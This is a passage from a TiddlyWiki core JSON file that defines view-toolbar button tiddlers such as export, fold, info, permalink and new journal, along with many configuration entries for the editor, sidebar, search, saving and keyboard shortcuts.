            "caption": "{{$:/core/images/export-button}} {{$:/language/Buttons/ExportTiddler/Caption}}",
            "description": "{{$:/language/Buttons/ExportTiddler/Hint}}",
            "text": "\\define makeExportFilter()\n[[$(currentTiddler)$]]\n\\end\n<$macrocall $name=\"exportButton\" exportFilter=<<makeExportFilter>> lingoBase=\"$:/language/Buttons/ExportTiddler/\" baseFilename=<<currentTiddler>>/>"
        },
        "$:/core/ui/Buttons/fold-bar": {
            "title": "$:/core/ui/Buttons/fold-bar",
            "tags": "$:/tags/ViewToolbar",
            "caption": "{{$:/core/images/chevron-up}} {{$:/language/Buttons/Fold/FoldBar/Caption}}",
            "description": "{{$:/language/Buttons/Fold/FoldBar/Hint}}",
            "text": "<!-- This dummy toolbar button is here to allow visibility of the fold-bar to be controlled as if it were a toolbar button -->"
        },
        "$:/core/ui/Buttons/fold-others": {
            "title": "$:/core/ui/Buttons/fold-others",
            "tags": "$:/tags/ViewToolbar",
            "caption": "{{$:/core/images/fold-others-button}} {{$:/language/Buttons/FoldOthers/Caption}}",
            "description": "{{$:/language/Buttons/FoldOthers/Hint}}",
            "text": "\\whitespace trim\n<$button tooltip={{$:/language/Buttons/FoldOthers/Hint}} aria-label={{$:/language/Buttons/FoldOthers/Caption}} class=<<tv-config-toolbar-class>>>\n<$action-sendmessage $message=\"tm-fold-other-tiddlers\" $param=<<currentTiddler>> foldedStatePrefix=\"$:/state/folded/\"/>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\" variable=\"listItem\">\n{{$:/core/images/fold-others-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/FoldOthers/Caption}}/>\n</span>\n</$list>\n</$button>"
        },
        "$:/core/ui/Buttons/fold": {
            "title": "$:/core/ui/Buttons/fold",
            "tags": "$:/tags/ViewToolbar",
            "caption": "{{$:/core/images/fold-button}} {{$:/language/Buttons/Fold/Caption}}",
            "description": "{{$:/language/Buttons/Fold/Hint}}",
            "text": "\\whitespace trim\n<$reveal type=\"nomatch\" stateTitle=<<folded-state>> text=\"hide\" default=\"show\">\n<$button tooltip={{$:/language/Buttons/Fold/Hint}} aria-label={{$:/language/Buttons/Fold/Caption}} class=<<tv-config-toolbar-class>>>\n<$action-sendmessage $message=\"tm-fold-tiddler\" $param=<<currentTiddler>> foldedState=<<folded-state>>/>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\" variable=\"listItem\">\n{{$:/core/images/fold-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/Fold/Caption}}/>\n</span>\n</$list>\n</$button>\n</$reveal>\n<$reveal type=\"match\" stateTitle=<<folded-state>> text=\"hide\" default=\"show\">\n<$button tooltip={{$:/language/Buttons/Unfold/Hint}} aria-label={{$:/language/Buttons/Unfold/Caption}} class=<<tv-config-toolbar-class>>>\n<$action-sendmessage $message=\"tm-fold-tiddler\" $param=<<currentTiddler>> foldedState=<<folded-state>>/>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\" variable=\"listItem\">\n{{$:/core/images/unfold-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/Unfold/Caption}}/>\n</span>\n</$list>\n</$button>\n</$reveal>\n"
        },
        "$:/core/ui/Buttons/info": {
            "title": "$:/core/ui/Buttons/info",
            "tags": "$:/tags/ViewToolbar",
            "caption": "{{$:/core/images/info-button}} {{$:/language/Buttons/Info/Caption}}",
            "description": "{{$:/language/Buttons/Info/Hint}}",
            "text": "\\whitespace trim\n\\define button-content()\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/info-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text={{$:/language/Buttons/Info/Caption}}/>\n</span>\n</$list>\n\\end\n<$reveal state=\"$:/config/TiddlerInfo/Mode\" type=\"match\" text=\"popup\">\n<$button popup=<<tiddlerInfoState>> tooltip={{$:/language/Buttons/Info/Hint}} aria-label={{$:/language/Buttons/Info/Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$macrocall $name=\"button-content\" mode=\"inline\"/>\n</$button>\n</$reveal>\n<$reveal state=\"$:/config/TiddlerInfo/Mode\" type=\"match\" text=\"sticky\">\n<$reveal state=<<tiddlerInfoState>> type=\"match\" text=\"\" default=\"\">\n<$button set=<<tiddlerInfoState>> setTo=\"yes\" tooltip={{$:/language/Buttons/Info/Hint}} aria-label={{$:/language/Buttons/Info/Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$macrocall $name=\"button-content\" mode=\"inline\"/>\n</$button>\n</$reveal>\n<$reveal state=<<tiddlerInfoState>> type=\"nomatch\" text=\"\" default=\"\">\n<$button set=<<tiddlerInfoState>> setTo=\"\" tooltip={{$:/language/Buttons/Info/Hint}} aria-label={{$:/language/Buttons/Info/Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$macrocall $name=\"button-content\" mode=\"inline\"/>\n</$button>\n</$reveal>\n</$reveal>"
        },
        "$:/core/ui/Buttons/more-tiddler-actions": {
            "title": "$:/core/ui/Buttons/more-tiddler-actions",
            "tags": "$:/tags/ViewToolbar",
            "caption": "{{$:/core/images/down-arrow}} {{$:/language/Buttons/More/Caption}}",
            "description": "{{$:/language/Buttons/More/Hint}}",
            "text": "\\whitespace trim\n\\define config-title()\n$:/config/ViewToolbarButtons/Visibility/$(listItem)$\n\\end\n<$button popup=<<qualify \"$:/state/popup/more\">> tooltip={{$:/language/Buttons/More/Hint}} aria-label={{$:/language/Buttons/More/Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/down-arrow}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/More/Caption}}/>\n</span>\n</$list>\n</$button>\n<$reveal state=<<qualify \"$:/state/popup/more\">> type=\"popup\" position=\"belowleft\" animate=\"yes\">\n\n<div class=\"tc-drop-down\">\n\n<$set name=\"tv-config-toolbar-icons\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-text\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-class\" value=\"tc-btn-invisible\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/ViewToolbar]!has[draft.of]] -[[$:/core/ui/Buttons/more-tiddler-actions]]\" variable=\"listItem\">\n\n<$reveal type=\"match\" state=<<config-title>> text=\"hide\">\n\n<$set name=\"tv-config-toolbar-class\" filter=\"[<tv-config-toolbar-class>] [<listItem>encodeuricomponent[]addprefix[tc-btn-]]\">\n\n<$transclude tiddler=<<listItem>> mode=\"inline\"/>\n\n</$set>\n\n</$reveal>\n\n</$list>\n\n</$set>\n\n</$set>\n\n</$set>\n\n</div>\n\n</$reveal>"
        },
        "$:/core/ui/Buttons/new-here": {
            "title": "$:/core/ui/Buttons/new-here",
            "tags": "$:/tags/ViewToolbar",
            "caption": "{{$:/core/images/new-here-button}} {{$:/language/Buttons/NewHere/Caption}}",
            "description": "{{$:/language/Buttons/NewHere/Hint}}",
            "text": "\\whitespace trim\n\\define newHereButtonTags()\n[[$(currentTiddler)$]]\n\\end\n\\define newHereButton()\n<$button tooltip={{$:/language/Buttons/NewHere/Hint}} aria-label={{$:/language/Buttons/NewHere/Caption}} class=<<tv-config-toolbar-class>>>\n<$action-sendmessage $message=\"tm-new-tiddler\" tags=<<newHereButtonTags>>/>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/new-here-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text={{$:/language/Buttons/NewHere/Caption}}/>\n</span>\n</$list>\n</$button>\n\\end\n<<newHereButton>>"
        },
        "$:/core/ui/Buttons/new-journal-here": {
            "title": "$:/core/ui/Buttons/new-journal-here",
            "tags": "$:/tags/ViewToolbar",
            "caption": "{{$:/core/images/new-journal-button}} {{$:/language/Buttons/NewJournalHere/Caption}}",
            "description": "{{$:/language/Buttons/NewJournalHere/Hint}}",
            "text": "\\whitespace trim\n\\define journalButtonTags()\n[[$(currentTiddlerTag)$]] $(journalTags)$\n\\end\n\\define journalButton()\n<$button tooltip={{$:/language/Buttons/NewJournalHere/Hint}} aria-label={{$:/language/Buttons/NewJournalHere/Caption}} class=<<tv-config-toolbar-class>>>\n<$wikify name=\"journalTitle\" text=\"\"\"<$macrocall $name=\"now\" format=<<journalTitleTemplate>>/>\"\"\">\n<$action-sendmessage $message=\"tm-new-tiddler\" title=<<journalTitle>> tags=<<journalButtonTags>>/>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/new-journal-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text={{$:/language/Buttons/NewJournalHere/Caption}}/>\n</span>\n</$list>\n</$wikify>\n</$button>\n\\end\n<$set name=\"journalTitleTemplate\" value={{$:/config/NewJournal/Title}}>\n<$set name=\"journalTags\" value={{$:/config/NewJournal/Tags}}>\n<$set name=\"currentTiddlerTag\" value=<<currentTiddler>>>\n<<journalButton>>\n</$set>\n</$set>\n</$set>"
        },
        "$:/core/ui/Buttons/open-window": {
            "title": "$:/core/ui/Buttons/open-window",
            "tags": "$:/tags/ViewToolbar",
            "caption": "{{$:/core/images/open-window}} {{$:/language/Buttons/OpenWindow/Caption}}",
            "description": "{{$:/language/Buttons/OpenWindow/Hint}}",
            "text": "\\whitespace trim\n<$button message=\"tm-open-window\" tooltip={{$:/language/Buttons/OpenWindow/Hint}} aria-label={{$:/language/Buttons/OpenWindow/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/open-window}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/OpenWindow/Caption}}/>\n</span>\n</$list>\n</$button>"
        },
        "$:/core/ui/Buttons/permalink": {
            "title": "$:/core/ui/Buttons/permalink",
            "tags": "$:/tags/ViewToolbar",
            "caption": "{{$:/core/images/permalink-button}} {{$:/language/Buttons/Permalink/Caption}}",
            "description": "{{$:/language/Buttons/Permalink/Hint}}",
            "text": "\\whitespace trim\n<$button message=\"tm-permalink\" tooltip={{$:/language/Buttons/Permalink/Hint}} aria-label={{$:/language/Buttons/Permalink/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/permalink-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/Permalink/Caption}}/>\n</span>\n</$list>\n</$button>"
        },
        "$:/core/ui/Buttons/permaview": {
            "title": "$:/core/ui/Buttons/permaview",
            "tags": "$:/tags/ViewToolbar $:/tags/PageControls",
            "caption": "{{$:/core/images/permaview-button}} {{$:/language/Buttons/Permaview/Caption}}",
            "description": "{{$:/language/Buttons/Permaview/Hint}}",
            "text": "\\whitespace trim\n<$button message=\"tm-permaview\" tooltip={{$:/language/Buttons/Permaview/Hint}} aria-label={{$:/language/Buttons/Permaview/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/permaview-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/Permaview/Caption}}/>\n</span>\n</$list>\n</$button>"
        },
        "$:/DefaultTiddlers": {
            "title": "$:/DefaultTiddlers",
            "text": "GettingStarted\n"
        },
        "$:/temp/advancedsearch": {
            "title": "$:/temp/advancedsearch",
            "text": ""
        },
        "$:/snippets/allfields": {
            "title": "$:/snippets/allfields",
            "text": "\\define renderfield(title)\n<tr class=\"tc-view-field\"><td class=\"tc-view-field-name\">''$title$'':</td><td class=\"tc-view-field-value\">//{{$:/language/Docs/Fields/$title$}}//</td></tr>\n\\end\n<table class=\"tc-view-field-table\"><tbody><$list filter=\"[fields[]sort[title]]\" variable=\"listItem\"><$macrocall $name=\"renderfield\" title=<<listItem>>/></$list>\n</tbody></table>\n"
        },
        "$:/config/AnimationDuration": {
            "title": "$:/config/AnimationDuration",
            "text": "400"
        },
        "$:/config/AutoSave": {
            "title": "$:/config/AutoSave",
            "text": "yes"
        },
        "$:/config/BitmapEditor/Colour": {
            "title": "$:/config/BitmapEditor/Colour",
            "text": "#444"
        },
        "$:/config/BitmapEditor/ImageSizes": {
            "title": "$:/config/BitmapEditor/ImageSizes",
            "text": "[[62px 100px]] [[100px 62px]] [[124px 200px]] [[200px 124px]] [[248px 400px]] [[371px 600px]] [[400px 248px]] [[556px 900px]] [[600px 371px]] [[742px 1200px]] [[900px 556px]] [[1200px 742px]]"
        },
        "$:/config/BitmapEditor/LineWidth": {
            "title": "$:/config/BitmapEditor/LineWidth",
            "text": "3px"
        },
        "$:/config/BitmapEditor/LineWidths": {
            "title": "$:/config/BitmapEditor/LineWidths",
            "text": "0.25px 0.5px 1px 2px 3px 4px 6px 8px 10px 16px 20px 28px 40px 56px 80px"
        },
        "$:/config/BitmapEditor/Opacities": {
            "title": "$:/config/BitmapEditor/Opacities",
            "text": "0.01 0.025 0.05 0.075 0.1 0.15 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0"
        },
        "$:/config/BitmapEditor/Opacity": {
            "title": "$:/config/BitmapEditor/Opacity",
            "text": "1.0"
        },
        "$:/config/DefaultMoreSidebarTab": {
            "title": "$:/config/DefaultMoreSidebarTab",
            "text": "$:/core/ui/MoreSideBar/Tags"
        },
        "$:/config/DefaultSidebarTab": {
            "title": "$:/config/DefaultSidebarTab",
            "text": "$:/core/ui/SideBar/Open"
        },
        "$:/config/DownloadSaver/AutoSave": {
            "title": "$:/config/DownloadSaver/AutoSave",
            "text": "no"
        },
        "$:/config/Drafts/TypingTimeout": {
            "title": "$:/config/Drafts/TypingTimeout",
            "text": "400"
        },
        "$:/config/EditTemplateFields/Visibility/title": {
            "title": "$:/config/EditTemplateFields/Visibility/title",
            "text": "hide"
        },
        "$:/config/EditTemplateFields/Visibility/tags": {
            "title": "$:/config/EditTemplateFields/Visibility/tags",
            "text": "hide"
        },
        "$:/config/EditTemplateFields/Visibility/text": {
            "title": "$:/config/EditTemplateFields/Visibility/text",
            "text": "hide"
        },
        "$:/config/EditTemplateFields/Visibility/creator": {
            "title": "$:/config/EditTemplateFields/Visibility/creator",
            "text": "hide"
        },
        "$:/config/EditTemplateFields/Visibility/created": {
            "title": "$:/config/EditTemplateFields/Visibility/created",
            "text": "hide"
        },
        "$:/config/EditTemplateFields/Visibility/modified": {
            "title": "$:/config/EditTemplateFields/Visibility/modified",
            "text": "hide"
        },
        "$:/config/EditTemplateFields/Visibility/modifier": {
            "title": "$:/config/EditTemplateFields/Visibility/modifier",
            "text": "hide"
        },
        "$:/config/EditTemplateFields/Visibility/type": {
            "title": "$:/config/EditTemplateFields/Visibility/type",
            "text": "hide"
        },
        "$:/config/EditTemplateFields/Visibility/draft.title": {
            "title": "$:/config/EditTemplateFields/Visibility/draft.title",
            "text": "hide"
        },
        "$:/config/EditTemplateFields/Visibility/draft.of": {
            "title": "$:/config/EditTemplateFields/Visibility/draft.of",
            "text": "hide"
        },
        "$:/config/EditTemplateFields/Visibility/revision": {
            "title": "$:/config/EditTemplateFields/Visibility/revision",
            "text": "hide"
        },
        "$:/config/EditTemplateFields/Visibility/bag": {
            "title": "$:/config/EditTemplateFields/Visibility/bag",
            "text": "hide"
        },
        "$:/config/EditorToolbarButtons/Visibility/$:/core/ui/EditorToolbar/heading-4": {
            "title": "$:/config/EditorToolbarButtons/Visibility/$:/core/ui/EditorToolbar/heading-4",
            "text": "hide"
        },
        "$:/config/EditorToolbarButtons/Visibility/$:/core/ui/EditorToolbar/heading-5": {
            "title": "$:/config/EditorToolbarButtons/Visibility/$:/core/ui/EditorToolbar/heading-5",
            "text": "hide"
        },
        "$:/config/EditorToolbarButtons/Visibility/$:/core/ui/EditorToolbar/heading-6": {
            "title": "$:/config/EditorToolbarButtons/Visibility/$:/core/ui/EditorToolbar/heading-6",
            "text": "hide"
        },
        "$:/config/EditorTypeMappings/image/gif": {
            "title": "$:/config/EditorTypeMappings/image/gif",
            "text": "bitmap"
        },
        "$:/config/EditorTypeMappings/image/webp": {
            "title": "$:/config/EditorTypeMappings/image/webp",
            "text": "bitmap"
        },
        "$:/config/EditorTypeMappings/image/heic": {
            "title": "$:/config/EditorTypeMappings/image/heic",
            "text": "bitmap"
        },
        "$:/config/EditorTypeMappings/image/heif": {
            "title": "$:/config/EditorTypeMappings/image/heif",
            "text": "bitmap"
        },
        "$:/config/EditorTypeMappings/image/jpeg": {
            "title": "$:/config/EditorTypeMappings/image/jpeg",
            "text": "bitmap"
        },
        "$:/config/EditorTypeMappings/image/jpg": {
            "title": "$:/config/EditorTypeMappings/image/jpg",
            "text": "bitmap"
        },
        "$:/config/EditorTypeMappings/image/png": {
            "title": "$:/config/EditorTypeMappings/image/png",
            "text": "bitmap"
        },
        "$:/config/EditorTypeMappings/image/x-icon": {
            "title": "$:/config/EditorTypeMappings/image/x-icon",
            "text": "bitmap"
        },
        "$:/config/EditorTypeMappings/text/vnd.tiddlywiki": {
            "title": "$:/config/EditorTypeMappings/text/vnd.tiddlywiki",
            "text": "text"
        },
        "$:/config/Manager/Show": {
            "title": "$:/config/Manager/Show",
            "text": "tiddlers"
        },
        "$:/config/Manager/Filter": {
            "title": "$:/config/Manager/Filter",
            "text": ""
        },
        "$:/config/Manager/Order": {
            "title": "$:/config/Manager/Order",
            "text": "forward"
        },
        "$:/config/Manager/Sort": {
            "title": "$:/config/Manager/Sort",
            "text": "title"
        },
        "$:/config/Manager/System": {
            "title": "$:/config/Manager/System",
            "text": "system"
        },
        "$:/config/Manager/Tag": {
            "title": "$:/config/Manager/Tag",
            "text": ""
        },
        "$:/state/popup/manager/item/$:/Manager/ItemMain/RawText": {
            "title": "$:/state/popup/manager/item/$:/Manager/ItemMain/RawText",
            "text": "hide"
        },
        "$:/config/MissingLinks": {
            "title": "$:/config/MissingLinks",
            "text": "yes"
        },
        "$:/config/Navigation/UpdateAddressBar": {
            "title": "$:/config/Navigation/UpdateAddressBar",
            "text": "no"
        },
        "$:/config/Navigation/UpdateHistory": {
            "title": "$:/config/Navigation/UpdateHistory",
            "text": "no"
        },
        "$:/config/NewImageType": {
            "title": "$:/config/NewImageType",
            "text": "jpeg"
        },
        "$:/config/OfficialPluginLibrary": {
            "title": "$:/config/OfficialPluginLibrary",
            "tags": "$:/tags/PluginLibrary",
            "url": "https://tiddlywiki.com/library/v5.1.19/index.html",
            "caption": "{{$:/language/OfficialPluginLibrary}}",
            "text": "{{$:/language/OfficialPluginLibrary/Hint}}\n"
        },
        "$:/config/Navigation/openLinkFromInsideRiver": {
            "title": "$:/config/Navigation/openLinkFromInsideRiver",
            "text": "below"
        },
        "$:/config/Navigation/openLinkFromOutsideRiver": {
            "title": "$:/config/Navigation/openLinkFromOutsideRiver",
            "text": "top"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/advanced-search": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/advanced-search",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/close-all": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/close-all",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/encryption": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/encryption",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/export-page": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/export-page",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/fold-all": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/fold-all",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/full-screen": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/full-screen",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/home": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/home",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/refresh": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/refresh",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/import": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/import",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/language": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/language",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/tag-manager": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/tag-manager",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/manager": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/manager",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/more-page-actions": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/more-page-actions",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/new-journal": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/new-journal",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/new-image": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/new-image",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/palette": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/palette",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/permaview": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/permaview",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/print": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/print",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/storyview": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/storyview",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/timestamp": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/timestamp",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/theme": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/theme",
            "text": "hide"
        },
        "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/unfold-all": {
            "title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/unfold-all",
            "text": "hide"
        },
        "$:/config/Performance/Instrumentation": {
            "title": "$:/config/Performance/Instrumentation",
            "text": "no"
        },
        "$:/config/SaveWikiButton/Template": {
            "title": "$:/config/SaveWikiButton/Template",
            "text": "$:/core/save/all"
        },
        "$:/config/SaverFilter": {
            "title": "$:/config/SaverFilter",
            "text": "[all[]] -[[$:/HistoryList]] -[[$:/StoryList]] -[[$:/Import]] -[[$:/isEncrypted]] -[[$:/UploadName]] -[prefix[$:/state/]] -[prefix[$:/temp/]]"
        },
        "$:/config/Search/AutoFocus": {
            "title": "$:/config/Search/AutoFocus",
            "text": "true"
        },
        "$:/config/Search/MinLength": {
            "title": "$:/config/Search/MinLength",
            "text": "3"
        },
        "$:/config/SearchResults/Default": {
            "title": "$:/config/SearchResults/Default",
            "text": "$:/core/ui/DefaultSearchResultList"
        },
        "$:/config/ShortcutInfo/bold": {
            "title": "$:/config/ShortcutInfo/bold",
            "text": "{{$:/language/Buttons/Bold/Hint}}"
        },
        "$:/config/ShortcutInfo/cancel-edit-tiddler": {
            "title": "$:/config/ShortcutInfo/cancel-edit-tiddler",
            "text": "{{$:/language/Buttons/Cancel/Hint}}"
        },
        "$:/config/ShortcutInfo/excise": {
            "title": "$:/config/ShortcutInfo/excise",
            "text": "{{$:/language/Buttons/Excise/Hint}}"
        },
        "$:/config/ShortcutInfo/heading-1": {
            "title": "$:/config/ShortcutInfo/heading-1",
            "text": "{{$:/language/Buttons/Heading1/Hint}}"
        },
        "$:/config/ShortcutInfo/heading-2": {
            "title": "$:/config/ShortcutInfo/heading-2",
            "text": "{{$:/language/Buttons/Heading2/Hint}}"
        },
        "$:/config/ShortcutInfo/heading-3": {
            "title": "$:/config/ShortcutInfo/heading-3",
            "text": "{{$:/language/Buttons/Heading3/Hint}}"
        },
        "$:/config/ShortcutInfo/heading-4": {
            "title": "$:/config/ShortcutInfo/heading-4",
            "text": "{{$:/language/Buttons/Heading4/Hint}}"
        },
        "$:/config/ShortcutInfo/heading-5": {
            "title": "$:/config/ShortcutInfo/heading-5",
            "text": "{{$:/language/Buttons/Heading5/Hint}}"
        },
        "$:/config/ShortcutInfo/heading-6": {
            "title": "$:/config/ShortcutInfo/heading-6",
            "text": "{{$:/language/Buttons/Heading6/Hint}}"
        },
        "$:/config/ShortcutInfo/italic": {
            "title": "$:/config/ShortcutInfo/italic",
            "text": "{{$:/language/Buttons/Italic/Hint}}"
        },
        "$:/config/ShortcutInfo/link": {
            "title": "$:/config/ShortcutInfo/link",
            "text": "{{$:/language/Buttons/Link/Hint}}"
        },
        "$:/config/ShortcutInfo/list-bullet": {
            "title": "$:/config/ShortcutInfo/list-bullet",
            "text": "{{$:/language/Buttons/ListBullet/Hint}}"
        },
        "$:/config/ShortcutInfo/list-number": {
            "title": "$:/config/ShortcutInfo/list-number",
            "text": "{{$:/language/Buttons/ListNumber/Hint}}"
        },
        "$:/config/ShortcutInfo/mono-block": {
            "title": "$:/config/ShortcutInfo/mono-block",
            "text": "{{$:/language/Buttons/MonoBlock/Hint}}"
        },
        "$:/config/ShortcutInfo/mono-line": {
            "title": "$:/config/ShortcutInfo/mono-line",
            "text": "{{$:/language/Buttons/MonoLine/Hint}}"
        },
        "$:/config/ShortcutInfo/new-image": {
            "title": "$:/config/ShortcutInfo/new-image",
            "text": "{{$:/language/Buttons/NewImage/Hint}}"
        },
        "$:/config/ShortcutInfo/new-journal": {
            "title": "$:/config/ShortcutInfo/new-journal",
            "text": "{{$:/language/Buttons/NewJournal/Hint}}"
        },
        "$:/config/ShortcutInfo/new-tiddler": {
            "title": "$:/config/ShortcutInfo/new-tiddler",
            "text": "{{$:/language/Buttons/NewTiddler/Hint}}"
        },
        "$:/config/ShortcutInfo/picture": {
            "title": "$:/config/ShortcutInfo/picture",
            "text": "{{$:/language/Buttons/Picture/Hint}}"
        },
        "$:/config/ShortcutInfo/preview": {
            "title": "$:/config/ShortcutInfo/preview",
            "text": "{{$:/language/Buttons/Preview/Hint}}"
        },
        "$:/config/ShortcutInfo/quote": {
            "title": "$:/config/ShortcutInfo/quote",
            "text": "{{$:/language/Buttons/Quote/Hint}}"
        },
        "$:/config/ShortcutInfo/save-tiddler": {
            "title": "$:/config/ShortcutInfo/save-tiddler",
            "text": "{{$:/language/Buttons/Save/Hint}}"
        },
        "$:/config/ShortcutInfo/stamp": {
            "title": "$:/config/ShortcutInfo/stamp",
            "text": "{{$:/language/Buttons/Stamp/Hint}}"
        },
        "$:/config/ShortcutInfo/strikethrough": {
            "title": "$:/config/ShortcutInfo/strikethrough",
            "text": "{{$:/language/Buttons/Strikethrough/Hint}}"
        },
        "$:/config/ShortcutInfo/subscript": {
            "title": "$:/config/ShortcutInfo/subscript",
            "text": "{{$:/language/Buttons/Subscript/Hint}}"
        },
        "$:/config/ShortcutInfo/superscript": {
            "title": "$:/config/ShortcutInfo/superscript",
            "text": "{{$:/language/Buttons/Superscript/Hint}}"
        },
        "$:/config/ShortcutInfo/underline": {
            "title": "$:/config/ShortcutInfo/underline",
            "text": "{{$:/language/Buttons/Underline/Hint}}"
        },
        "$:/config/SyncFilter": {
            "title": "$:/config/SyncFilter",
            "text": "[is[tiddler]] -[[$:/HistoryList]] -[[$:/Import]] -[[$:/isEncrypted]] -[prefix[$:/status/]] -[prefix[$:/state/]] -[prefix[$:/temp/]]"
        },
        "$:/config/Tags/MinLength": {
            "title": "$:/config/Tags/MinLength",
            "text": "0"
        },
        "$:/config/TextEditor/EditorHeight/Height": {
            "title": "$:/config/TextEditor/EditorHeight/Height",
            "text": "400px"
        },
        "$:/config/TextEditor/EditorHeight/Mode": {
            "title": "$:/config/TextEditor/EditorHeight/Mode",
            "text": "auto"
        },
        "$:/config/TiddlerInfo/Default": {
            "title": "$:/config/TiddlerInfo/Default",
            "text": "$:/core/ui/TiddlerInfo/Fields"
        },
        "$:/config/TiddlerInfo/Mode": {
